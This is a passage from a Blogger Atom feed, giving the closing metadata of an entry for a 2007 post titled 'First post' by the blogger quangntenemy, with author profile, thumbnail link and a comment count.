href='http://quangntenemy.blogspot.com/2007/01/first-post.html' title='First post'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry></feed>
